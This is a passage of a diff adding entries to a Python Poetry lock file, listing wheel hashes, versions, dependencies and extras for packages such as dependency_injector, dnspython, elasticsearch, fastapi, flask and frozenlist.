+ {file = "dependency_injector-4.41.0-cp310-cp310-win_amd64.whl", hash = "sha256:3744c327d18408e74781bd6d8b7738745ee80ef89f2c8daecf9ebd098cb84972"},
+ {file = "dependency_injector-4.41.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:89c67edffe7007cf33cee79ecbca38f48efcc2add5c280717af434db6c789377"},
+ {file = "dependency_injector-4.41.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:786f7aac592e191c9caafc47732161d807bad65c62f260cd84cd73c7e2d67d6d"},
+ {file = "dependency_injector-4.41.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b8b61a15bc46a3aa7b29bd8a7384b650aa3a7ef943491e93c49a0540a0b3dda4"},
+ {file = "dependency_injector-4.41.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a4f113e5d4c3070973ad76e5bda7317e500abae6083d78689f0b6e37cf403abf"},
+ {file = "dependency_injector-4.41.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:5fa3ed8f0700e47a0e7363f949b4525ffa8277aa1c5b10ca5b41fce4dea61bb9"},
+ {file = "dependency_injector-4.41.0-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:05e15ea0f2b14c1127e8b0d1597fef13f98845679f63bf670ba12dbfc12a16ef"},
+ {file = "dependency_injector-4.41.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:3055b3fc47a0d6e5f27defb4166c0d37543a4967c279549b154afaf506ce6efc"},
+ {file = "dependency_injector-4.41.0-cp311-cp311-win32.whl", hash = "sha256:37d5954026e3831663518d78bdf4be9c2dbfea691edcb73c813aa3093aa4363a"},
+ {file = "dependency_injector-4.41.0-cp311-cp311-win_amd64.whl", hash = "sha256:f89a507e389b7e4d4892dd9a6f5f4da25849e24f73275478634ac594d621ab3f"},
+ {file = "dependency_injector-4.41.0-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:ac79f3c05747f9724bd56c06985e78331fc6c85eb50f3e3f1a35e0c60f9977e9"},
+ {file = "dependency_injector-4.41.0-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:75e7a733b372db3144a34020c4233f6b94db2c6342d6d16bc5245b1b941ee2bd"},
+ {file = "dependency_injector-4.41.0-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:40936d9384363331910abd59dd244158ec3572abf9d37322f15095315ac99893"},
+ {file = "dependency_injector-4.41.0-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4a31d9d60be4b585585081109480cfb2ef564d3b851cb32a139bf8408411a93a"},
+ {file = "dependency_injector-4.41.0-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:953bfac819d32dc72b963767589e0ed372e5e9e78b03fb6b89419d0500d34bbe"},
+ {file = "dependency_injector-4.41.0-cp36-cp36m-musllinux_1_1_i686.whl", hash = "sha256:8f0090ff14038f17a026ca408a3a0b0e7affb6aa7498b2b59d670f40ac970fbe"},
+ {file = "dependency_injector-4.41.0-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:6b29abac56ce347d2eb58a560723e1663ee2125cf5cc38866ed92b84319927ec"},
+ {file = "dependency_injector-4.41.0-cp36-cp36m-win32.whl", hash = "sha256:059fbb48333148143e8667a5323d162628dfe27c386bd0ed3deeecfc390338bf"},
+ {file = "dependency_injector-4.41.0-cp36-cp36m-win_amd64.whl", hash = "sha256:16de2797dcfcc2263b8672bf0751166f7c7b369ca2ff9246ceb67b65f8e1d802"},
+ {file = "dependency_injector-4.41.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:c71d30b6708438050675f338edb9a25bea6c258478dbe5ec8405286756a2d347"},
+ {file = "dependency_injector-4.41.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d283aee588a72072439e6721cb64aa6cba5bc18c576ef0ab28285a6ec7a9d655"},
+ {file = "dependency_injector-4.41.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bc852da612c7e347f2fcf921df2eca2718697a49f648a28a63db3ab504fd9510"},
+ {file = "dependency_injector-4.41.0-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:02620454ee8101f77a317f3229935ce687480883d72a40858ff4b0c87c935cce"},
+ {file = "dependency_injector-4.41.0-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:7a92680bea1c260e5c0d2d6cd60b0c913cba76a456a147db5ac047ecfcfcc758"},
+ {file = "dependency_injector-4.41.0-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:168334cba3f1cbf55299ef38f0f2e31879115cc767b780c859f7814a52d80abb"},
+ {file = "dependency_injector-4.41.0-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:48b6886a87b4ceb9b9f78550f77b2a5c7d2ce33bc83efd886556ad468cc9c85a"},
+ {file = "dependency_injector-4.41.0-cp37-cp37m-win32.whl", hash = "sha256:87be84084a1b922c4ba15e2e5aa900ee24b78a5467997cb7aec0a1d6cdb4a00b"},
+ {file = "dependency_injector-4.41.0-cp37-cp37m-win_amd64.whl", hash = "sha256:8b8cf1c6c56f5c18bdbd9f5e93b52ca29cb4d99606d4056e91f0c761eef496dc"},
+ {file = "dependency_injector-4.41.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:a8686fa330c83251c75c8238697686f7a0e0f6d40658538089165dc72df9bcff"},
+ {file = "dependency_injector-4.41.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8d670a844268dcd758195e58e9a5b39fc74bb8648aba99a13135a4a10ec9cfac"},
+ {file = "dependency_injector-4.41.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9e3b9d41e0eff4c8e16fea1e33de66ff0030fe51137ca530f3c52ce110447914"},
+ {file = "dependency_injector-4.41.0-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:33a724e0a737baadb4378f5dc1b079867cc3a88552fcca719b3dba84716828b2"},
+ {file = "dependency_injector-4.41.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:3588bd887b051d16b8bcabaae1127eb14059a0719a8fe34c8a75ba59321b352c"},
+ {file = "dependency_injector-4.41.0-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:409441122f40e1b4b8582845fdd76deb9dc5c9d6eb74a057b85736ef9e9c671f"},
+ {file = "dependency_injector-4.41.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:7dcba8665cafec825b7095d5dd80afb5cf14404450eca3fe8b66e1edbf4dbc10"},
+ {file = "dependency_injector-4.41.0-cp38-cp38-win32.whl", hash = "sha256:8b51efeaebacaf79ef68edfc65e9687699ccffb3538c4a3ab30d0d77e2db7189"},
+ {file = "dependency_injector-4.41.0-cp38-cp38-win_amd64.whl", hash = "sha256:1662e2ef60ac6e681b9e11b5d8b7c17a0f733688916cf695f9540f8f50a61b1e"},
+ {file = "dependency_injector-4.41.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:51217cb384b468d7cc355544cec20774859f00812f9a1a71ed7fa701c957b2a7"},
+ {file = "dependency_injector-4.41.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b3890a12423ae3a9eade035093beba487f8d092ee6c6cb8706f4e7080a56e819"},
+ {file = "dependency_injector-4.41.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:99ed73b1521bf249e2823a08a730c9f9413a58f4b4290da022e0ad4fb333ba3d"},
+ {file = "dependency_injector-4.41.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:300838e9d4f3fbf539892a5a4072851728e23b37a1f467afcf393edd994d88f0"},
+ {file = "dependency_injector-4.41.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:56d37b9d2f50a18f059d9abdbea7669a7518bd42b81603c21a27910a2b3f1657"},
+ {file = "dependency_injector-4.41.0-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:4a44ca3ce5867513a70b31855b218be3d251f5068ce1c480cc3a4ad24ffd3280"},
+ {file = "dependency_injector-4.41.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:67b369592c57549ccdcad0d5fef1ddb9d39af7fed8083d76e789ab0111fc6389"},
+ {file = "dependency_injector-4.41.0-cp39-cp39-win32.whl", hash = "sha256:740a8e8106a04d3f44b52b25b80570fdac96a8a3934423de7c9202c5623e7936"},
+ {file = "dependency_injector-4.41.0-cp39-cp39-win_amd64.whl", hash = "sha256:22b11dbf696e184f0b3d5ac4e5418aeac3c379ba4ea758c04a83869b7e5d1cbf"},
+ {file = "dependency_injector-4.41.0-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:b365a8548e9a49049fa6acb24d3cd939f619eeb8e300ca3e156e44402dcc07ec"},
+ {file = "dependency_injector-4.41.0-pp37-pypy37_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5168dc59808317dc4cdd235aa5d7d556d33e5600156acaf224cead236b48a3e8"},
+ {file = "dependency_injector-4.41.0-pp37-pypy37_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e3229d83e99e255451605d5276604386e06ad948e3d60f31ddd796781c77f76f"},
+ {file = "dependency_injector-4.41.0-pp37-pypy37_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1baee908f21190bdc46a65ce4c417a5175e9397ca62354928694fce218f84487"},
+ {file = "dependency_injector-4.41.0-pp37-pypy37_pp73-win_amd64.whl", hash = "sha256:b37f36ecb0c1227f697e1d4a029644e3eda8dd0f0716aa63ad04d96dbb15bbbb"},
+ {file = "dependency_injector-4.41.0-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:b0c9c966ff66c77364a2d43d08de9968aff7e3903938fe912ba49796b2133344"},
+ {file = "dependency_injector-4.41.0-pp38-pypy38_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:12e91ac0333e7e589421943ff6c6bf9cf0d9ac9703301cec37ccff3723406332"},
+ {file = "dependency_injector-4.41.0-pp38-pypy38_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b2440b32474d4e747209528ca3ae48f42563b2fbe3d74dbfe949c11dfbfef7c4"},
+ {file = "dependency_injector-4.41.0-pp38-pypy38_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:54032d62610cf2f4421c9d92cef52957215aaa0bca403cda580c58eb3f726eda"},
+ {file = "dependency_injector-4.41.0-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:76b94c8310929e54136f3cb3de3adc86d1a657b3984299f40bf1cd2ba0bae548"},
+ {file = "dependency_injector-4.41.0-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:6ee9810841c6e0599356cb884d16453bfca6ab739d0e4f0248724ed8f9ee0d79"},
+ {file = "dependency_injector-4.41.0-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6b98945edae88e777091bf0848f869fb94bd76dfa4066d7c870a5caa933391d0"},
+ {file = "dependency_injector-4.41.0-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a2dee5d4abdd21f1a30a51d46645c095be9dcc404c7c6e9f81d0a01415a49e64"},
+ {file = "dependency_injector-4.41.0-pp39-pypy39_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d03f5fa0fa98a18bd0dfce846db80e2798607f0b861f1f99c97f441f7669d7a2"},
+ {file = "dependency_injector-4.41.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:f2842e15bae664a9f69932e922b02afa055c91efec959cb1896f6c499bf68180"},
+]
+
+[package.dependencies]
+six = ">=1.7.0,<=1.16.0"
+
+[package.extras]
+aiohttp = ["aiohttp"]
+flask = ["flask"]
+pydantic = ["pydantic"]
+yaml = ["pyyaml"]
+
+[[package]]
+name = "dnfile"
+version = "0.12.0"
+description = "Parse .NET executable files."
+optional = false
+python-versions = ">=3.5"
+files = [
+ {file = "dnfile-0.12.0-py2.py3-none-any.whl", hash = "sha256:99a63504da5358814057c8669b14484907a75477922a03b7c49a5ec621aa281e"},
+ {file = "dnfile-0.12.0.tar.gz", hash = "sha256:2beee20810bd4c8437d14a587e2aff1cb0de2a15e5f7fd468c9bc8b24f60a13a"},
+]
+
+[package.dependencies]
+pefile = ">=2019.4.18"
+
+[package.extras]
+test = ["isort (==5.10.1)", "mypy (==0.971)", "pycodestyle (==2.9.1)", "pytest (>=3)"]
+
+[[package]]
+name = "dnspython"
+version = "2.3.0"
+description = "DNS toolkit"
+optional = false
+python-versions = ">=3.7,<4.0"
+files = [
+ {file = "dnspython-2.3.0-py3-none-any.whl", hash = "sha256:89141536394f909066cabd112e3e1a37e4e654db00a25308b0f130bc3152eb46"},
+ {file = "dnspython-2.3.0.tar.gz", hash = "sha256:224e32b03eb46be70e12ef6d64e0be123a64e621ab4c0822ff6d450d52a540b9"},
+]
+
+[package.extras]
+curio = ["curio (>=1.2,<2.0)", "sniffio (>=1.1,<2.0)"]
+dnssec = ["cryptography (>=2.6,<40.0)"]
+doh = ["h2 (>=4.1.0)", "httpx (>=0.21.1)", "requests (>=2.23.0,<3.0.0)", "requests-toolbelt (>=0.9.1,<0.11.0)"]
+doq = ["aioquic (>=0.9.20)"]
+idna = ["idna (>=2.1,<4.0)"]
+trio = ["trio (>=0.14,<0.23)"]
+wmi = ["wmi (>=1.5.1,<2.0.0)"]
+
+[[package]]
+name = "docopt"
+version = "0.6.2"
+description = "Pythonic argument parser, that will make you smile"
+optional = false
+python-versions = "*"
+files = [
+ {file = "docopt-0.6.2.tar.gz", hash = "sha256:49b3a825280bd66b3aa83585ef59c4a8c82f2c8a522dbe754a8bc8d08c85c491"},
+]
+
+[[package]]
+name = "elastic-transport"
+version = "8.4.0"
+description = "Transport classes and utilities shared among Python Elastic client libraries"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "elastic-transport-8.4.0.tar.gz", hash = "sha256:b9ad708ceb7fcdbc6b30a96f886609a109f042c0b9d9f2e44403b3133ba7ff10"},
+ {file = "elastic_transport-8.4.0-py3-none-any.whl", hash = "sha256:19db271ab79c9f70f8c43f8f5b5111408781a6176b54ab2e54d713b6d9ceb815"},
+]
+
+[package.dependencies]
+certifi = "*"
+urllib3 = ">=1.26.2,<2"
+
+[package.extras]
+develop = ["aiohttp", "mock", "pytest", "pytest-asyncio", "pytest-cov", "pytest-httpserver", "pytest-mock", "requests", "trustme"]
+
+[[package]]
+name = "elasticsearch"
+version = "8.8.2"
+description = "Python client for Elasticsearch"
+optional = false
+python-versions = ">=3.6, <4"
+files = [
+ {file = "elasticsearch-8.8.2-py3-none-any.whl", hash = "sha256:bffd6ce4faaacf90e6f617241773b3da8fb94e2e83554f5508e2fab92ca79643"},
+ {file = "elasticsearch-8.8.2.tar.gz", hash = "sha256:bed8cf8fcc6c3be7c254b579de4c29afab021f373c832246f912d37aef3c6bd5"},
+]
+
+[package.dependencies]
+elastic-transport = ">=8,<9"
+
+[package.extras]
+async = ["aiohttp (>=3,<4)"]
+requests = ["requests (>=2.4.0,<3.0.0)"]
+
+[[package]]
+name = "enum-compat"
+version = "0.0.3"
+description = "enum/enum34 compatibility package"
+optional = false
+python-versions = "*"
+files = [
+ {file = "enum-compat-0.0.3.tar.gz", hash = "sha256:3677daabed56a6f724451d585662253d8fb4e5569845aafa8bb0da36b1a8751e"},
+ {file = "enum_compat-0.0.3-py3-none-any.whl", hash = "sha256:88091b617c7fc3bbbceae50db5958023c48dc40b50520005aa3bf27f8f7ea157"},
+]
+
+[[package]]
+name = "fastapi"
+version = "0.82.0"
+description = "FastAPI framework, high performance, easy to learn, fast to code, ready for production"
+optional = false
+python-versions = ">=3.6.1"
+files = [
+ {file = "fastapi-0.82.0-py3-none-any.whl", hash = "sha256:a4269329a7374c78f6e92c195d14cc4ce3a525e25b79e62edf2df8196469743f"},
+ {file = "fastapi-0.82.0.tar.gz", hash = "sha256:5ee7b7473a55940a18d4869ff57d29c372363bf8d3033a0e660a8cf38b1d3d9e"},
+]
+
+[package.dependencies]
+pydantic = ">=1.6.2,<1.7 || >1.7,<1.7.1 || >1.7.1,<1.7.2 || >1.7.2,<1.7.3 || >1.7.3,<1.8 || >1.8,<1.8.1 || >1.8.1,<2.0.0"
+starlette = "0.19.1"
+
+[package.extras]
+all = ["email_validator (>=1.1.1,<2.0.0)", "itsdangerous (>=1.1.0,<3.0.0)", "jinja2 (>=2.11.2,<4.0.0)", "orjson (>=3.2.1,<4.0.0)", "python-multipart (>=0.0.5,<0.0.6)", "pyyaml (>=5.3.1,<7.0.0)", "requests (>=2.24.0,<3.0.0)", "ujson (>=4.0.1,!=4.0.2,!=4.1.0,!=4.2.0,!=4.3.0,!=5.0.0,!=5.1.0,<6.0.0)", "uvicorn[standard] (>=0.12.0,<0.18.0)"]
+dev = ["autoflake (>=1.4.0,<2.0.0)", "flake8 (>=3.8.3,<6.0.0)", "passlib[bcrypt] (>=1.7.2,<2.0.0)", "pre-commit (>=2.17.0,<3.0.0)", "python-jose[cryptography] (>=3.3.0,<4.0.0)", "uvicorn[standard] (>=0.12.0,<0.18.0)"]
+doc = ["mdx-include (>=1.4.1,<2.0.0)", "mkdocs (>=1.1.2,<2.0.0)", "mkdocs-markdownextradata-plugin (>=0.1.7,<0.3.0)", "mkdocs-material (>=8.1.4,<9.0.0)", "pyyaml (>=5.3.1,<7.0.0)", "typer (>=0.4.1,<0.5.0)"]
+test = ["anyio[trio] (>=3.2.1,<4.0.0)", "black (==22.3.0)", "databases[sqlite] (>=0.3.2,<0.6.0)", "email_validator (>=1.1.1,<2.0.0)", "flake8 (>=3.8.3,<6.0.0)", "flask (>=1.1.2,<3.0.0)", "httpx (>=0.14.0,<0.19.0)", "isort (>=5.0.6,<6.0.0)", "mypy (==0.910)", "orjson (>=3.2.1,<4.0.0)", "peewee (>=3.13.3,<4.0.0)", "pytest (>=6.2.4,<7.0.0)", "pytest-cov (>=2.12.0,<4.0.0)", "python-multipart (>=0.0.5,<0.0.6)", "requests (>=2.24.0,<3.0.0)", "sqlalchemy (>=1.3.18,<1.5.0)", "types-dataclasses (==0.6.5)", "types-orjson (==3.6.2)", "types-ujson (==4.2.1)", "ujson (>=4.0.1,!=4.0.2,!=4.1.0,!=4.2.0,!=4.3.0,!=5.0.0,!=5.1.0,<6.0.0)"]
+
+[[package]]
+name = "fastapi-class"
+version = "2.0.0"
+description = "Classes and Decorators to use FastAPI with Class based routing"
+optional = false
+python-versions = ">=3.8"
+files = [
+ {file = "fastapi_class-2.0.0-py3-none-any.whl", hash = "sha256:79c3349bc134a3c8ef54b8eec41265cb78ed3dc300e49550c3c02c8886737090"},
+ {file = "fastapi_class-2.0.0.tar.gz", hash = "sha256:39af59d0529eaa2694793806c3c29ea9ec79134540b17b8df5f50a6602b4991d"},
+]
+
+[package.dependencies]
+fastapi = ">=0.65.2,<0.90.0"
+pydantic = ">=1.6.2,<1.7 || >1.7,<1.7.1 || >1.7.1,<1.7.2 || >1.7.2,<1.7.3 || >1.7.3,<1.8 || >1.8,<1.8.1 || >1.8.1,<2.0.0"
+
+[package.extras]
+lint = ["mypy (==0.991)", "pre-commit (==2.21.0)"]
+test = ["codecov (==2.1.12)", "httpx", "pytest (==7.2.0)", "pytest-asyncio (==0.20.3)", "pytest-cov (==4.0.0)", "requests (==2.28.1)"]
+
+[[package]]
+name = "flake8"
+version = "5.0.4"
+description = "the modular source code checker: pep8 pyflakes and co"
+optional = false
+python-versions = ">=3.6.1"
+files = [
+ {file = "flake8-5.0.4-py2.py3-none-any.whl", hash = "sha256:7a1cf6b73744f5806ab95e526f6f0d8c01c66d7bbe349562d22dfca20610b248"},
+ {file = "flake8-5.0.4.tar.gz", hash = "sha256:6fbe320aad8d6b95cec8b8e47bc933004678dc63095be98528b7bdd2a9f510db"},
+]
+
+[package.dependencies]
+mccabe = ">=0.7.0,<0.8.0"
+pycodestyle = ">=2.9.0,<2.10.0"
+pyflakes = ">=2.5.0,<2.6.0"
+
+[[package]]
+name = "flake8-cognitive-complexity"
+version = "0.1.0"
+description = "An extension for flake8 that validates cognitive functions complexity"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "flake8_cognitive_complexity-0.1.0.tar.gz", hash = "sha256:f202df054e4f6ff182b659c261922b9c684628a47beb19cb0973c50d6a7831c1"},
+]
+
+[package.dependencies]
+cognitive_complexity = "*"
+setuptools = "*"
+
+[[package]]
+name = "flask"
+version = "2.3.2"
+description = "A simple framework for building complex web applications."
+optional = false
+python-versions = ">=3.8"
+files = [
+ {file = "Flask-2.3.2-py3-none-any.whl", hash = "sha256:77fd4e1249d8c9923de34907236b747ced06e5467ecac1a7bb7115ae0e9670b0"},
+ {file = "Flask-2.3.2.tar.gz", hash = "sha256:8c2f9abd47a9e8df7f0c3f091ce9497d011dc3b31effcf4c85a6e2b50f4114ef"},
+]
+
+[package.dependencies]
+blinker = ">=1.6.2"
+click = ">=8.1.3"
+itsdangerous = ">=2.1.2"
+Jinja2 = ">=3.1.2"
+Werkzeug = ">=2.3.3"
+
+[package.extras]
+async = ["asgiref (>=3.2)"]
+dotenv = ["python-dotenv"]
+
+[[package]]
+name = "frozenlist"
+version = "1.3.3"
+description = "A list-like structure which implements collections.abc.MutableSequence"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "frozenlist-1.3.3-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:ff8bf625fe85e119553b5383ba0fb6aa3d0ec2ae980295aaefa552374926b3f4"},
+ {file = "frozenlist-1.3.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:dfbac4c2dfcc082fcf8d942d1e49b6aa0766c19d3358bd86e2000bf0fa4a9cf0"},
+ {file = "frozenlist-1.3.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:b1c63e8d377d039ac769cd0926558bb7068a1f7abb0f003e3717ee003ad85530"},
+ {file = "frozenlist-1.3.3-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7fdfc24dcfce5b48109867c13b4cb15e4660e7bd7661741a391f821f23dfdca7"},
+ {file = "frozenlist-1.3.3-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:2c926450857408e42f0bbc295e84395722ce74bae69a3b2aa2a65fe22cb14b99"},
+ {file = "frozenlist-1.3.3-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:1841e200fdafc3d51f974d9d377c079a0694a8f06de2e67b48150328d66d5483"},
+ {file = "frozenlist-1.3.3-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f470c92737afa7d4c3aacc001e335062d582053d4dbe73cda126f2d7031068dd"},
+ {file = "frozenlist-1.3.3-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:783263a4eaad7c49983fe4b2e7b53fa9770c136c270d2d4bbb6d2192bf4d9caf"},
+ {file = "frozenlist-1.3.3-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:924620eef691990dfb56dc4709f280f40baee568c794b5c1885800c3ecc69816"},
+ {file = "frozenlist-1.3.3-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:ae4dc05c465a08a866b7a1baf360747078b362e6a6dbeb0c57f234db0ef88ae0"},
+ {file = "frozenlist-1.3.3-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:bed331fe18f58d844d39ceb398b77d6ac0b010d571cba8267c2e7165806b00ce"},
+ {file = "frozenlist-1.3.3-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:02c9ac843e3390826a265e331105efeab489ffaf4dd86384595ee8ce6d35ae7f"},
+ {file = "frozenlist-1.3.3-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:9545a33965d0d377b0bc823dcabf26980e77f1b6a7caa368a365a9497fb09420"},
+ {file = "frozenlist-1.3.3-cp310-cp310-win32.whl", hash = "sha256:d5cd3ab21acbdb414bb6c31958d7b06b85eeb40f66463c264a9b343a4e238642"},
+ {file = "frozenlist-1.3.3-cp310-cp310-win_amd64.whl", hash = "sha256:b756072364347cb6aa5b60f9bc18e94b2f79632de3b0190253ad770c5df17db1"},
+ {file = "frozenlist-1.3.3-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:b4395e2f8d83fbe0c627b2b696acce67868793d7d9750e90e39592b3626691b7"},
+ {file = "frozenlist-1.3.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:14143ae966a6229350021384870458e4777d1eae4c28d1a7aa47f24d030e6678"},
+ {file = "frozenlist-1.3.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:5d8860749e813a6f65bad8285a0520607c9500caa23fea6ee407e63debcdbef6"},
+ {file = "frozenlist-1.3.3-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:23d16d9f477bb55b6154654e0e74557040575d9d19fe78a161bd33d7d76808e8"},
+ {file = "frozenlist-1.3.3-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:eb82dbba47a8318e75f679690190c10a5e1f447fbf9df41cbc4c3afd726d88cb"},
+ {file = "frozenlist-1.3.3-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9309869032abb23d196cb4e4db574232abe8b8be1339026f489eeb34a4acfd91"},
+ {file = "frozenlist-1.3.3-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a97b4fe50b5890d36300820abd305694cb865ddb7885049587a5678215782a6b"},
+ {file = "frozenlist-1.3.3-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c188512b43542b1e91cadc3c6c915a82a5eb95929134faf7fd109f14f9892ce4"},
+ {file = "frozenlist-1.3.3-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:303e04d422e9b911a09ad499b0368dc551e8c3cd15293c99160c7f1f07b59a48"},
+ {file = "frozenlist-1.3.3-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:0771aed7f596c7d73444c847a1c16288937ef988dc04fb9f7be4b2aa91db609d"},
+ {file = "frozenlist-1.3.3-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:66080ec69883597e4d026f2f71a231a1ee9887835902dbe6b6467d5a89216cf6"},
+ {file = "frozenlist-1.3.3-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:41fe21dc74ad3a779c3d73a2786bdf622ea81234bdd4faf90b8b03cad0c2c0b4"},
+ {file = "frozenlist-1.3.3-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:f20380df709d91525e4bee04746ba612a4df0972c1b8f8e1e8af997e678c7b81"},
+ {file = "frozenlist-1.3.3-cp311-cp311-win32.whl", hash = "sha256:f30f1928162e189091cf4d9da2eac617bfe78ef907a761614ff577ef4edfb3c8"},
+ {file = "frozenlist-1.3.3-cp311-cp311-win_amd64.whl", hash = "sha256:a6394d7dadd3cfe3f4b3b186e54d5d8504d44f2d58dcc89d693698e8b7132b32"},
+ {file = "frozenlist-1.3.3-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:8df3de3a9ab8325f94f646609a66cbeeede263910c5c0de0101079ad541af332"},
+ {file = "frozenlist-1.3.3-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0693c609e9742c66ba4870bcee1ad5ff35462d5ffec18710b4ac89337ff16e27"},
+ {file = "frozenlist-1.3.3-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:cd4210baef299717db0a600d7a3cac81d46ef0e007f88c9335db79f8979c0d3d"},
+ {file = "frozenlist-1.3.3-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:394c9c242113bfb4b9aa36e2b80a05ffa163a30691c7b5a29eba82e937895d5e"},
+ {file = "frozenlist-1.3.3-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6327eb8e419f7d9c38f333cde41b9ae348bec26d840927332f17e887a8dcb70d"},
+ {file = "frozenlist-1.3.3-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2e24900aa13212e75e5b366cb9065e78bbf3893d4baab6052d1aca10d46d944c"},
